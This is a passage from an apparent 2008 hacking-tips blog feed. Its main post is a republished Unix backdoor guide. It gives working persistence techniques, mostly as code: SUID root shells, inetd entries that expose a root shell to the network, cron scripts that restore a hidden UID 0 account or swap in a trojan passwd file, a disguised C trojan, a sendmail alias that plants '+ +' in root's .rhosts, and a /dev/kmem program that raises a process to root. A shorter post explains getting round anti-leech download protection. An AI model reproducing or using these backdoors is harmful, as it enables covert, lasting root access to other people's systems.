Sync. Or, perhaps, an account somwhere buried deep in the&lt;br /&gt;passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second&lt;br /&gt;field). &lt;br /&gt;&lt;br /&gt;[3] Leave an SUID root shell in /tmp. &lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;# Everyone's favorite...&lt;br /&gt;&lt;br /&gt;cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...&lt;br /&gt;chmod 4755 /tmp/.evilnaughtyshell&lt;br /&gt;&lt;br /&gt;Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted&lt;br /&gt;to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may&lt;br /&gt;notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system&lt;br /&gt;specific. Check out /var/spool/cron/crontabs/root and /etc/fstab. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Veiled&lt;br /&gt;&lt;br /&gt;[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some&lt;br /&gt;background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the&lt;br /&gt;appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical&lt;br /&gt;lines look like this:&lt;br /&gt;&lt;br /&gt;(1)     (2)     (3)     (4)     (5)     (6)             (7)&lt;br /&gt;ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd&lt;br /&gt;talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd&lt;br /&gt;&lt;br /&gt;Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine&lt;br /&gt;which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.&lt;br /&gt;TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP&lt;br /&gt;or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will&lt;br /&gt;process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a&lt;br /&gt;child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more&lt;br /&gt;inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual&lt;br /&gt;command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.&lt;br /&gt;This is done with an 'internal' flag in fields (6) and (7).&lt;br /&gt;So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it&lt;br /&gt;with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd&lt;br /&gt;file, etc...&lt;br /&gt;For the insinuation-impaired, try this: &lt;br /&gt;&lt;br /&gt;Open the /etc/inetd.conf in an available editor. Find the line that reads: &lt;br /&gt;&lt;br /&gt;        &lt;br /&gt;        daytime stream  tcp     nowait  root    internal&lt;br /&gt;&lt;br /&gt;and change it to: &lt;br /&gt;&lt;br /&gt;        daytime stream  tcp     nowait /bin/sh  sh -i.  &lt;br /&gt;&lt;br /&gt;You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and&lt;br /&gt;restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea&lt;br /&gt;to do this off peak hours).&lt;br /&gt;&lt;br /&gt;[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One&lt;br /&gt;simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in&lt;br /&gt;/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple: &lt;br /&gt;&lt;br /&gt;(1)       (2)/(3)          (4)&lt;br /&gt;smtp      25/tcp           mail    &lt;br /&gt;&lt;br /&gt;Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name&lt;br /&gt;associated with the service. For instance, add this line to /etc/services:&lt;br /&gt;&lt;br /&gt;        evil    22/tcp          evil&lt;br /&gt;&lt;br /&gt;and this line to /etc/inetd.conf: &lt;br /&gt;&lt;br /&gt;        evil    stream  tcp     nowait  /bin/sh sh -i&lt;br /&gt;&lt;br /&gt;Restart inetd as before. &lt;br /&gt;&lt;br /&gt;Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,&lt;br /&gt;they offer rentry from *any* account on *any* computer on the Internet. &lt;br /&gt;&lt;br /&gt;[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's&lt;br /&gt;crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this&lt;br /&gt;backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have&lt;br /&gt;several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.&lt;br /&gt;It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,&lt;br /&gt;or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab&lt;br /&gt;entry has six fields:&lt;br /&gt;&lt;br /&gt;(1)     (2)     (3)     (4)     (5)     (6)&lt;br /&gt; 0       0       *       *       1       /usr/bin/updatedb      &lt;br /&gt;&lt;br /&gt;Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week&lt;br /&gt;(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,&lt;br /&gt;simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the&lt;br /&gt;/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not&lt;br /&gt;be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your&lt;br /&gt;shady intentions). Add this line to /var/spool/crontab/root: &lt;br /&gt;&lt;br /&gt;        0       0       *       *       *       /usr/bin/trojancode&lt;br /&gt;&lt;br /&gt;This is the shell script: &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Is our eviluser still on the system?  Let's make sure he is.&lt;br /&gt;#daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;set evilflag = (`grep eviluser /etc/passwd`)    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if($#evilflag == 0) then                        # Is he there?&lt;br /&gt;        &lt;br /&gt;        set linecount = `wc -l /etc/passwd`&lt;br /&gt;        cd                                      # Do this at home.&lt;br /&gt;        cp /etc/passwd ./temppass               # Safety first.&lt;br /&gt;        @ linecount[1] /= 2&lt;br /&gt;        @ linecount[1] += 1                     # we only want 2 temp files&lt;br /&gt;        split -$linecount[1] ./temppass         # passwd string optional&lt;br /&gt;        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" &gt;&gt; ./xaa&lt;br /&gt;        cat ./xab &gt;&gt; ./xaa&lt;br /&gt;        mv ./xaa /etc/passwd&lt;br /&gt;        chmod 644 /etc/passwd                   # or whatever it was beforehand&lt;br /&gt;        rm ./xa* ./temppass&lt;br /&gt;        echo Done...&lt;br /&gt;else&lt;br /&gt;endif   &lt;br /&gt;&lt;br /&gt;[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the&lt;br /&gt;/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root&lt;br /&gt;account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a&lt;br /&gt;copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).&lt;br /&gt;Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything&lt;br /&gt;would be ok. Add this line to root's crontab file:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        29      2       *       *       *       /bin/usr/sneakysneaky_passwd&lt;br /&gt;&lt;br /&gt;make sure this exists: &lt;br /&gt;&lt;br /&gt;#echo "root:1234567890123:0:0:Operator:/:/bin/csh" &gt; /var/spool/mail/.sneaky&lt;br /&gt;&lt;br /&gt;and this is the simple shell script: &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;# Install trojan /etc/passwd file for one minute&lt;br /&gt;#daemon9@netcom.com&lt;br /&gt;&lt;br /&gt;cp /etc/passwd /etc/.temppass&lt;br /&gt;cp /var/spool/mail/.sneaky /etc/passwd&lt;br /&gt;sleep 60&lt;br /&gt;mv /etc/.temppass /etc/passwd&lt;br /&gt;&lt;br /&gt;[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.&lt;br /&gt;Make sure it runs as root. Name it something innocous. Hide it well. &lt;br /&gt;&lt;br /&gt;/* A little trojan to create an SUID root shell, if the proper argument is&lt;br /&gt;given.  C code, rather than shell to hide obvious it's effects. */&lt;br /&gt;/* daemon9@netcom.com */&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;#define KEYWORD "industry3"&lt;br /&gt;#define BUFFERSIZE 10   &lt;br /&gt;&lt;br /&gt;int main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];{&lt;br /&gt;&lt;br /&gt;        int i=0;&lt;br /&gt;&lt;br /&gt;        if(argv[1]){            /* we've got an argument, is it the keyword? */&lt;br /&gt;&lt;br /&gt;                if(!(strcmp(KEYWORD,argv[1]))){&lt;br /&gt;                        &lt;br /&gt;                                /* This is the trojan part. */&lt;br /&gt;                        system("cp /bin/csh /bin/.swp121");&lt;br /&gt;                        system("chown root /bin/.swp121");&lt;br /&gt;                        system("chmod 4755 /bin/.swp121");&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;                                /* Put your possibly system specific trojan&lt;br /&gt;                                   messages here */&lt;br /&gt;                                /* Let's look like we're doing something... */&lt;br /&gt;        printf("Sychronizing bitmap image records.");&lt;br /&gt;        /* system("ls -alR / &gt;&amp; /dev/null &gt; /dev/null&amp;"); */&lt;br /&gt;        for(;i&lt;10;i++){ &lt;br /&gt;                fprintf(stderr,".");            &lt;br /&gt;                sleep(1);&lt;br /&gt;        } &lt;br /&gt;        printf("\nDone.\n");&lt;br /&gt;        return(0);&lt;br /&gt;} /* End main */&lt;br /&gt;&lt;br /&gt;[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several&lt;br /&gt;users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line: &lt;br /&gt;&lt;br /&gt; "decode: "|/usr/bin/uudecode"&lt;br /&gt;&lt;br /&gt;to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded. &lt;br /&gt;&lt;br /&gt;#! /bin/csh&lt;br /&gt;&lt;br /&gt;# Create our .rhosts file.  Note this will output to stdout.&lt;br /&gt;&lt;br /&gt;echo "+ +" &gt; tmpfile&lt;br /&gt;/usr/bin/uuencode tmpfile /root/.rhosts&lt;br /&gt;&lt;br /&gt;Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the&lt;br /&gt;.rhosts file. For a one liner (not faked, however) do this: &lt;br /&gt;&lt;br /&gt;%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com&lt;br /&gt;&lt;br /&gt;You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your&lt;br /&gt;choosing. Many of the previous scripts and methods can be employed here. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Covert&lt;br /&gt;&lt;br /&gt;[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.&lt;br /&gt;The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this&lt;br /&gt;case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some&lt;br /&gt;general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you&lt;br /&gt;are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)&lt;br /&gt;Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code: &lt;br /&gt;&lt;br /&gt;get input;&lt;br /&gt;if input is special hardcoded flag, spawn evil trojan;&lt;br /&gt;else if input is valid, continue;&lt;br /&gt;else quit with error;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Esoteric&lt;br /&gt;&lt;br /&gt;[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible&lt;br /&gt;to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write&lt;br /&gt;permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of&lt;br /&gt;your current process, then spawn a csh, which will inherit this UID. The following program does just that. &lt;br /&gt;&lt;br /&gt;/* If /kmem is is readable and writable, this program will change the user's &lt;br /&gt;UID and GID to 0.  */&lt;br /&gt;/* This code originally appeared in "UNIX security:  A practical tutorial" &lt;br /&gt;with some modifications by daemon9@netcom.com */&lt;br /&gt;&lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;&lt;br /&gt;#define KEYWORD "nomenclature1"&lt;br /&gt;&lt;br /&gt;struct user userpage;&lt;br /&gt;long address(), userlocation;&lt;br /&gt;&lt;br /&gt;int main(argc, argv, envp)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[], *envp[];{&lt;br /&gt;&lt;br /&gt;        int count, fd;&lt;br /&gt;        long where, lseek();&lt;br /&gt;        &lt;br /&gt;        if(argv[1]){            /* we've got an argument, is it the keyword? */&lt;br /&gt;                if(!(strcmp(KEYWORD,argv[1]))){&lt;br /&gt;                        fd=(open("/dev/kmem",O_RDWR);&lt;br /&gt;&lt;br /&gt;                        if(fd&lt;0){&lt;br /&gt;                                printf("Cannot read or write to /dev/kmem\n");&lt;br /&gt;                                perror(argv);&lt;br /&gt;                                exit(10);       &lt;br /&gt;                        }&lt;br /&gt;                                &lt;br /&gt;                        userlocation=address();&lt;br /&gt;                        where=(lseek(fd,userlocation,0);&lt;br /&gt;        &lt;br /&gt;                        if(where!=userlocation){&lt;br /&gt;                                printf("Cannot seek to user page\n");&lt;br /&gt;                                perror(argv);&lt;br /&gt;                                exit(20); &lt;br /&gt;                        }&lt;br /&gt;&lt;br /&gt;                        count=read(fd,&amp;userpage,sizeof(struct user));&lt;br /&gt;        &lt;br /&gt;                        if(count!=sizeof(struct user)){&lt;br /&gt;                                printf("Cannot read user page\n");&lt;br /&gt;                                perror(argv);&lt;br /&gt;                                exit(30);&lt;br /&gt;                        }       &lt;br /&gt;&lt;br /&gt;                        printf("Current UID: %d\n",userpage.u_ruid);&lt;br /&gt;                        printf("Current GID: %d\n",userpage.g_ruid);&lt;br /&gt;                        &lt;br /&gt;                        userpage.u_ruid=0;&lt;br /&gt;                        userpage.u_rgid=0;&lt;br /&gt;                        &lt;br /&gt;                        where=lseek(fd,userlocation,0);&lt;br /&gt;&lt;br /&gt;                        if(where!=userlocation){        &lt;br /&gt;                                printf("Cannot seek to user page\n");&lt;br /&gt;                                perror(argv);&lt;br /&gt;                                exit(40); &lt;br /&gt;                        }&lt;br /&gt;                        &lt;br /&gt;                        write(fd,&amp;userpage,((char *)&amp;(userpage.u_procp))-((char *)&amp;userpage));&lt;br /&gt;                        &lt;br /&gt;                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);&lt;br /&gt;                }&lt;br /&gt;        } &lt;br /&gt;&lt;br /&gt;} /* End main */&lt;br /&gt;&lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;&lt;br /&gt;#define LNULL ((LDFILE *)0)&lt;br /&gt;&lt;br /&gt;long address(){&lt;br /&gt;        &lt;br /&gt;        LDFILE *object;&lt;br /&gt;        SYMENT symbol;&lt;br /&gt;        long idx=0;&lt;br /&gt;&lt;br /&gt;        object=ldopen("/unix",LNULL);&lt;br /&gt;&lt;br /&gt;        if(!object){&lt;br /&gt;                fprintf(stderr,"Cannot open /unix.\n");&lt;br /&gt;                exit(50);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        for(;ldtbread(object,idx,&amp;symbol)==SUCCESS;idx++){&lt;br /&gt;                if(!strcmp("_u",ldgetname(object,&amp;symbol))){&lt;br /&gt;                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);&lt;br /&gt;                        ldclose(object);&lt;br /&gt;                        return(symbol.n_value);&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        fprintf(stderr,"Cannot read symbol table in /unix.\n");&lt;br /&gt;        exit(60);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take&lt;br /&gt;care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a&lt;br /&gt;discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]: &lt;br /&gt;&lt;br /&gt;chmod 666 /dev/kmem&lt;br /&gt;sleep 300               # Nap for 5 minutes&lt;br /&gt;chmod 600 /dev/kmem     # Or whatever it was before&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From The Infinity Concept Issue II&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-2305708296392424599?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FNGu1fe77Sgzcjc7HuxEzi8qmdY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FNGu1fe77Sgzcjc7HuxEzi8qmdY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FNGu1fe77Sgzcjc7HuxEzi8qmdY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FNGu1fe77Sgzcjc7HuxEzi8qmdY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/XFgvAcpt2Kk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/2305708296392424599/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=2305708296392424599" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2305708296392424599?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/2305708296392424599?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/XFgvAcpt2Kk/backdoor.html" title="BackDoor" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/backdoor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08EQHg-fCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-8706105643455138721</id><published>2008-08-12T08:42:00.000-07:00</published><updated>2008-08-12T08:43:21.654-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:43:21.654-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Time" /><category scheme="http://www.blogger.com/atom/ns#" term="Coding" /><category scheme="http://www.blogger.com/atom/ns#" term="Code" /><category scheme="http://www.blogger.com/atom/ns#" term="Zones" /><title>Area Code And Time Zones</title><content type="html">Time Zones&lt;br /&gt;                                ----------&lt;br /&gt;&lt;br /&gt; Atlantic&lt;br /&gt; --------&lt;br /&gt;&lt;br /&gt; Newfoundland  Nova Scotia  New Brunswick&lt;br /&gt;&lt;br /&gt; Eastern&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; Maine  New Hampshire  Vermont  Massachussets  New York  Rhode Island &lt;br /&gt; Connecticut  Pennsylvania  New Jersey  Delaware  Maryland  Ohio  Indiana&lt;br /&gt; Michigan  West Virginia  Virginia  Kentucky  North Carolina  Tennessee&lt;br /&gt; South Carolina  Georgia  Florida  Quebec  Ontario&lt;br /&gt;&lt;br /&gt; Central&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; Manitoba  North Dakota  South Dakota  Minnesota  Wisconsin  Michigan  Iowa&lt;br /&gt; Nebraska  Illinois  Kansas  Missouri  Kentucky  Tennessee  Arkansas  Oklahoma&lt;br /&gt; Texas  Louisiana  Alabama  Mississippi  Indiana&lt;br /&gt;&lt;br /&gt; Mountain&lt;br /&gt; --------&lt;br /&gt;&lt;br /&gt; Alberta  Saskatchewan  Montana  Idaho  Wyoming  South Dakota  Nebraska&lt;br /&gt; Utah  Colorado  Kansas  Oklahoma  Arizona  New Mexico  &lt;br /&gt;&lt;br /&gt; Pacific&lt;br /&gt; -------&lt;br /&gt;&lt;br /&gt; British Columbia  Washington  Montana  Oregon  Nevada  California  Utah&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                            Area Code Listing&lt;br /&gt;                            -----------------&lt;br /&gt;&lt;br /&gt;   205 - Alabama              907 - Alaska                602 - Arizona&lt;br /&gt;   501 - Arkansas             714 - California (Orange)   818 - California&lt;br /&gt;   213 - California (LA)      916 - California            619 - California&lt;br /&gt;   415 - California (SF)      408 - California (San Jose) 303 - Colorado&lt;br /&gt;   203 - Connecticut          302 - Delaware              904 - Florida&lt;br /&gt;   305 - Florida (Miami)      404 - Georgia (Atlanta)     808 - Hawaii &lt;br /&gt;   208 - Idaho                312 - Illinois (Chicago)    317 - Indiana&lt;br /&gt;   219 - Indiana (Souend)     515 - Iowa (Des Moines)     316 - Kansas&lt;br /&gt;   502 - Kentucky             504 - Lousiana (N. Orleans) 207 - Maine&lt;br /&gt;   301 - Maryland             617 - Massachusetts         313 - Michigan &lt;br /&gt;   616 - Michigan             612 - Minnesota             601 - Mississippi&lt;br /&gt;   816 - Missouri (Kansas C)  314 - Kansas (St. Louis)    406 - Montana&lt;br /&gt;   402 - Nebraska             702 - Nevada                603 - New Hampshire&lt;br /&gt;   201 - New Jersey (Newark)  609 - New Jersey (I'm here) 505 - New Mexico&lt;br /&gt;   718 - NYC (Brooklyn, S.I.) 212 - NYC (Bronx, Mhattan)  518 - NY (Albany)&lt;br /&gt;   716 - NY (Buffalo)         516 - NY (Long Island)      315 - NY (Syracuse)&lt;br /&gt;   914 - NY (White Plains)    704 - North Carolina        919 - North Carolina&lt;br /&gt;   701 - North Dakota         513 - Ohio (Cincinnati)     216 - Ohio&lt;br /&gt;   614 - Ohio (Columbus)      419 - Ohio (Toledo)         405 - Oklahoma&lt;br /&gt;   918 - Oklahoma (Tulsa)     503 - Oregon                215 - Philadelphia PA&lt;br /&gt;   401 - Rhode Island (cough) 803 - South Carolina        605 - South Dakota&lt;br /&gt;   901 - Tennessee (Memphis)  615 - Tennessee (Nashville) 806 - Texas(Cow Hell)&lt;br /&gt;   214 - Texas (Dallas)       817 - Texas (Forth Worth)   713 - Texas (Houston)&lt;br /&gt;   512 - Texas (San Antonio)  801 - Utah                  802 - Vermont&lt;br /&gt;   703 - Virginia (Arlington) 804 - Virginia (Richmond)   202 - Washington DC&lt;br /&gt;   206 - Washington (Seattle) 304 - West Virginia         608 - Wisconsin&lt;br /&gt;   307 - Wyoming              666 - Where do you think&lt;br /&gt;&lt;br /&gt;        Well that will make a nice printout for your wall, won't it.  Now&lt;br /&gt;    you know where you're calling...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-8706105643455138721?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vD4rDYif6EjtstiFtGSYszSmLrI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vD4rDYif6EjtstiFtGSYszSmLrI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vD4rDYif6EjtstiFtGSYszSmLrI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vD4rDYif6EjtstiFtGSYszSmLrI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/XnjMUO5X6fc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/8706105643455138721/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=8706105643455138721" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/8706105643455138721?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/8706105643455138721?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/XnjMUO5X6fc/area-code-and-time-zones.html" title="Area Code And Time Zones" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/area-code-and-time-zones.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0IMRHc8eip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-5443838790293003792</id><published>2008-08-12T08:39:00.001-07:00</published><updated>2008-08-12T08:39:45.972-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:39:45.972-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Anti Leech" /><title>Anti Leech Hacking Tutorial</title><content type="html">I was just asking to know if there is some audiance before&lt;br /&gt;here is my methode&lt;br /&gt;for hacking anti leech&lt;br /&gt;we gona use a soft calde proxo mitron&lt;br /&gt;proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto&lt;br /&gt;w-w.proxomitron.info&lt;br /&gt;download a copy of the soft&lt;br /&gt;then you need to unselect all the option of the soft&lt;br /&gt;and clik on log window&lt;br /&gt;no go to a anti leech web site&lt;br /&gt;use the plug in and not netpumper&lt;br /&gt;in the plugin&lt;br /&gt;add a proxy&lt;br /&gt;you must put this proxy adress&lt;br /&gt;127.0.0.1 8080 for http&lt;br /&gt;the same for ftp&lt;br /&gt;now select the file to download a click download&lt;br /&gt;watch in proximitron log winodws you will see many internal forwarding&lt;br /&gt;if the file are located in a ftp server&lt;br /&gt;proximitron dont handel them&lt;br /&gt;and you will find an error&lt;br /&gt;in a ftp adress&lt;br /&gt;if it's a http adress&lt;br /&gt;you will find some thing like&lt;br /&gt;get /blablalma/bla/file&lt;br /&gt;site tr.com&lt;br /&gt;and you have foudn the adress&lt;br /&gt;it' tr.com/blabla/file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-5443838790293003792?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FQEGMoURzWcvCpJYugHHYTI9Q1I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FQEGMoURzWcvCpJYugHHYTI9Q1I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FQEGMoURzWcvCpJYugHHYTI9Q1I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FQEGMoURzWcvCpJYugHHYTI9Q1I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/pZK_mhezQTw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/5443838790293003792/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=5443838790293003792" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5443838790293003792?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5443838790293003792?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/pZK_mhezQTw/anti-leech-hacking-tutorial.html" title="Anti Leech Hacking Tutorial" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/anti-leech-hacking-tutorial.html</feedburner:origLink></entry><entry 